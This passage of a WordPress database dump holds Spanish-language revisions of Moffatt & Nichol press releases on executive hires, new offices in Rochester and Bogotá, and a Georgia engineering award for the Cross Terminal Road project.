Puente. Como parte de un contrato en marcha, Moffatt &amp; Nichol proporcionó el planeamiento, diseño y apoyo en la construcción para el nuevo corredor de 2 millas (3,2 km) y de un costo de $6,6 millones llamado “Cross Terminal Road”, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 2 millas (3,2 km) de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt &amp; Nichol proporcionó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada, prácticamente, sin ningún impacto negativo sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-2','','','2012-06-15 11:54:55','2012-06-15 11:54:55','',1399,'http://moffattnichol.com/spanish/1399-revision-2/',0,'revision','',0),(2604,1,'2012-08-29 12:34:53','2012-08-29 12:34:53','<div class=\"content_faq\">\r\n<h1>press releases</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"12\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"11\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"10\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"1\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"2\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"3\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-3','','','2012-08-29 12:34:53','2012-08-29 12:34:53','',1399,'http://moffattnichol.com/spanish/1399-revision-3/',0,'revision','',0),(2605,1,'2012-08-29 12:54:09','2012-08-29 12:54:09','<div class=\"content_faq\">\r\n<h1>press releases</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://www.moffattnichol.com/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el 